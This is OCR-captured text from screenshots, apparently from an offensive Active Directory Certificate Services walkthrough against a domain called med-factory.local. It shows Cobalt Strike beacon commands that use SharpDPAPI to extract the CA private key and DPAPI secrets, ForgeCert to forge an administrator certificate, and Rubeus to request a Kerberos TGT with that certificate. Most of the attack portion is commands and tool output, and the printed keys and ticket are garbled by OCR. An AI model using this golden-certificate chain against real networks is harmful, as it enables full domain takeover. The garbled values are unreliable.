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il Edit Mame Class Distinguished Name Actions
C.onﬁguratior? [chIB.med-factory.Ioc 1 CN=AIA container CN=AlA CN=Public Key Services, CN=>5ervices, CN=Configuration,DC=rmed || CN=Public Key Services
| CN=Configuration,DC=med-fact)| /= -\ _cpp container CN=CDP,CN=Public Key Services, CN=Services, CN=Configuration, DC=mec More Actions
j E::E}::r:?f;::ﬁr: J CN=Certificate Templates container CN=Certificate Templates, CM=Public Key Services, CN=5ervices, CN=Config ;
] CN=ForectUpdates J CMN=Certification Authorities  container CN=Certification Authorities, CN=Public Key Services, CN=Services,CN=Cor|| EN=NTAuthCertificates
] CN=LostAndFoundConfig J CN=Enrollment Services container CN=Enrollment Services, CN=Public Key Services, CN=5ervices, CN=Configu More Actions
[ CN=NTDS Quotas J CM=KRA container CM=KRA,CM=Public Key Services, CM=5ervices, CM=Configuration, DC=mec
7] CN=Partitions 1 CN=0ID msPKl-Enter...  CMN=0ID,CN=Public Key Services, CM=>5ervices, CN=Configuration, DC=med
[] CN=Physical Locations N=MNTAuthCertificates certificatio i
w [0 CN=Services

[ CN=AuthN Policy Configl
1 CN=Claims Configuratior,
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] CM=Microsoft SPP
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[ CM=MetServices
w | CN=Public Key Services
[ CN=AlA
7] CN=CDP
[ CN=Certificate Templi
7] CN=Certification Autk
] CN=Enrollment Servic
7] CN=KRA
7] CN=0ID
] CN=RRAS
] CW=Shadow Principal Coi
] CM=Windows NT
7] CM=Sites
] CN=WellKnown Security Prin
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CodeSign

Template
Template: CodeSign EKUs: Code Signing
Subject: CORP\user Enroliment Permissions:
EKU: Code Signing Domain Users

Requires Approval? No

Public key: <pubkey>

3. Does the certificate template exist?
Are the settings in the CSR allowed by

O 2. Client sends a certificate request certificate template?

1. Client (user or (CSR) to an Enterprise CA server L-"etr:'i‘:i:::er?aHOWEd to enroll fora
computer) generates m ’

public/private key pair  Cjjant Enterprise CA

5. Flient stores Fenificate in 4. CA generates a certificate and
Windows Certificate store and signs it using the CA private key

uses to perform actions allowed Certificate

by the certificate (authentication, p‘ub”:m: ~
code signing, etc.) Signature: <CA

signature>

Subject: CORP\user ﬂ

EKUs: Code Signing
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beacon> execute-assembly fopt/red/sharpdpapi.exe certificates /machine

[*] Tasked beacon to run .MET program: sharpdpapi.exe certificates /machine
[+] host called home, sent: 235605 bytes

[+] received output:

vl.11.2

[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*1 full: 6EDEBOOCZ25F45EA17E3FEE44FC18AE99C19ED644BFEO9753CA01CB44EDCE90375F980196DD757D70
[*1 m/u : G6EDEBOOC25F45EA17E3FEE44FC18AE99C19EDG44 / BFEO9753CA01CB44EDCB890375F980196DD757D70

[*] SYSTEM master key cache:

{4a40c09c-55ed-494c-9131-d94c0e09fecO} : 25CBOAOG71C2ASETAF6F 746704B7B4CE0248FA42
{baf3afcd-2785-48e9-h%ee-a00213655e93} : 643A93B117A3D0D1FO8FDC75CCAA41654C14AT758
{49e14ae7-81bf-4994-9799-9aa8db87347b} : 1B110104936BFC37AAB1546DA2C206A06207A09C
{4efBa760-h2d7-4648-9bhda-41ab2994fa7f} : E513D8FACIBAE221A6E7D92D5C581B861D467C70

[*] Triaging System Certificates

File : daa58e7ec7e9037e75faB898115ad5a58_8d0f1267-ca2f-44a3-9551-eafhcd49335¢

Provider GUID 1 {df9d8cdB-1501-11d1-8c7a-00c04fc297eb}

Master Key GUID : {baf3afcd-2785-48e9-h9%ee-a00213655e93}

Description : Private Key

algCrypt : CALG_AES_256 (keylLen 256)

algHash : CALG_SHA_512 (32782)

Salt : eb621c1191593749a5b3907f7d7a360837aa7ab6a4b84fab88ad3996d0c37b3b
HMAC : 8b603c24f496c09d517a52754451845ch9bcde00459fa658dcd4c6251b293815
Unique Name + med-factory-DCO3-CA

Thumbprint 1 9134FEEB12DBC0354B03BDDOFAC4292DAF420C58

Issuer : CN=med-factory-DCO3-CA, DC=med-factory, DC=Llocal
Subject : CN=med-factory-DCO3-CA, DCamed-factory, DC=local
Valid Date 1 42772023 6:01:34 PM

Expiry Date 1 472772028 6:11:34 PN

[*] Private key file daa58e7ec7e9037e75faB8981f5ad5a58 8d0f1267-ca2f-44a3-9551-eafhcd49335c was recovered:

MIIEowIBAAKCAQEAuBxEn3KmIvkyYMTPx1jPlwWdPuYsU8ji42hc7gE6bhOGLg9W
9IvP225B0OPZDB7L5QrXmpg97v 3c /pf3FCp3Gw4DKZ+ 1uYpG+km28KnBmv3A00E1H
4y AVXKTCAvUGavqXrijsyFkOWBItQE7297ax2JUeeEQnDIDVEbNRSSrLsn IVS7SIb
/FukWq9ow9bI0PbSFq6vmN4CHMOEjBwovrCHg IFrT9ny Gw/fcJ/SGhy+Rgkdu8kPNO
Cqb97Q4tb9P1x5A174hQXp0Oq5cuSqGzyPBuzrI1jUSEspi3WrBIkIIR/06P11T8h
e+ /zUUa9y 4NjRruHQ5p8s 9vGUHT8VSL7Cr+I1QIDAQABA0IBABh P /HIGAMQZ52u8
DKVCeo0OU4IIYgh/3wh/vuIIs4gUoP3mRCXYRWCF /MY2JIrKDNy9ufrxHzBYw/1xq5
leqx0cjb5zpyrBsLK0QsULQxbTnKDn3b4QCLEBMO7FdhpKQEJtLCXBY 7su5CUSTi
NVJexcdHiNr2/25zXg +UHBCj AAFKLRU7 1HoTii InGhql/Kj tSqviWqEB1DDc+zcK
41w6Dubxen8Pbh0sz jc fcvGSIts RmDZHOWNWKK8rv9suruj ImRoLCUwgj 1LquDlG
2/I5+7UINMmIEq4+xqhD3pedZofcCa/te f3cRY41IBALWWC 7qVEP+8+jGroyLIIVp
hOXAPeUCgYEA3iw9Jalt/YOOhEZ21XV40tCiNc6Bc7GIZwCOOPSpOF /SYbz 90XVOh
11JECe3NU70SoWcBXY tOORTgunroD9A0imKtiHj9NIUEjOSqISTMNBLNSvh IBLNL
MIyCOgtBj3bGFpLruVxuF+Ths0/pMOAvy tcVIEKFtOrjhoyAwinlU7cCgYEA2GQt
ZRixE7NpaKOJH7XIHYZzguoutN39zh5zRv /Nd5C7+gf Gvk+Umbe 9GGh+Brij+0A+P
d/xMCEWT 1dGuS781+f rCo183Vi3/auhuGL1K5Gdqs 7v+y 7e BB 1bMvTvSoWTiKMa
sYcZASESHZbsRure J5qM5Q9rskuZUpdRa8/fLOCCgYALrb21HmGEW1 wZ T 1 TqCBx
n/QXkoVxk5KQ9I 1c JZ5GqBf fFOTEOPtgyDmP /NZ3med CCSXxFWxhRzcAmbVApqqKG
67r9goak3fR4236d8Y6dai0TobMIaY 7RxYEWS3qFxR0SMjSD80Tk 0qZueS4BkKOy
d23xU3Hd2b80EpKuT j CALWKBg QDMAMG37WEND 1Ny qShv 7 /gDVx 1MYoFVUGDAWX X2
LX24sqGaKx0ThOMa5Don7kg4iH/spKbzTUGs+IT4S3VPABC3Y VX UH564JHuauisc
7SON/YQzVFQmcUMYB+VCgUP182K79GIn0y JUOVIEhUL/dtEpb2kk T8y OVP3hQuat
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~/Desktop
openssl pkcsl2 -in cert.pem -keyex
Enter Export Password:
Verifying - Enter Export Password:

~/Desktop

(TTTIITIT] Fohggisemoithub.com/GhostPack/ForgeCert) [TTTTTTTTITTIITIITIT]

ForgeCert. exe --CaCertPath C:\windows\tasks\cert.pfx --CaCertPassword 123123 --Subject
"CN=User" --SubjectAltName "administrator@med- factory. local" --NewCertPath
c: \windows\tasks\fake. pfx --NewCertPassword 123123

orgeCert.exe --CaCertPath C:\windows\tasks\cert.pfx --CaCertPassword 1
ed beacon to run: C:\windows\tasks\ForgeCert.exe --CaCertPath C:\windows\tasks\cert.pfx --CaCertPassword

[+] host called home, sent: 260 bytes
[+] received output
CA Certificate Information:

Subject: CN=med-factory-D CA, DC=med-factory, DC=local

Issuer: CN=med-factory-DC03-CA, DC=med-factory, DC=local

Start Date:

End Date:

Thumbprint:

Serial:

Forged Certificate Information:
Subject: CN=User
SubjectAltName: administrat ned-factory. local
Issuers: CN=me 0 C03-CA, DC=med-factory, DC=local
Start Date:
End Date:
Thumbprint:
Serial:

[ITTT] Rubeus [T TGTO
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beacon= execute-assembly fopt/red/rubeus.exe asktgt fuser:administrator fdomain
i TACAQMwgAY JKoZIhvcNAQcBoIAkgASCA+gwgDCABgk qhkiGOwOBBwGg
/mowrap
to run .NET program: rube exe asktgt fuser:admini

1-factory.local /enctype 56
VUwggVRBgsqhkiGOwOBDAoBAGCCBPowggT2MCgGCiqGSIh3DQEMAQMWGYQ

omain:med-factory.local fenctype:aes256

e HI- AQMwgAY JKoZIhvcNAQcBoIAk gASCA+qwqDCABgk qhkiGIwOBBwGg :SABiIDﬁDCCBVUwquRquqhkiGQwGBDﬁoBAqCCBPawqqTZHCqGCquSIhBDQEHAQHqum

3 /nowrap
ed home, sent: 558529 hytes
[+]1 received output
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[*] Action: Ask TGT

[+] received output

[*] Using PKINIT with etype aes256_cts_hmac_shal and subject: CN=User

[*] Building AS-REQ (w/ PKINIT preauth) for: 'med-factory.localjadministrator’
[*] using domain controller: B

[+] received output
[+] TGT request successful!
[*] base64(ticket.kirbi):

10IG0jCCBjagAwIBBaEDAgEWo0IFKzCCBSdhggUjMIIFH6ADAGEFoRMbEUIFRC1GQUNUT 1JZLkxPQOFMoiYwIKADAQECoROWGX sGa3JidGdOGxFEZWQtZmF jdG9yeS5sh2NhbK(

erviceName +  krbtgt/med-factory.local
viceRealm 1 MED-FACTORY.LOCAL

UserName +  administrator

UserRealm b

StartTime :

EndTime 6 20 20:02 AN

RenewTill : 5:20:02 PH

Flags + name_canonicalize, pre_authent, initial, renewable, forwardable

KeyType roa 6_cts_hmac_shal
Base64(key) : DDmp cb 1DOSFEqODrj TuBOvQWNHkk5f620uheY=

ASREP (key) 1 9E7AD95D42527BADSE99FBA762C46CD3104FD56E95599F4ECB73FEOECG6AGIF13
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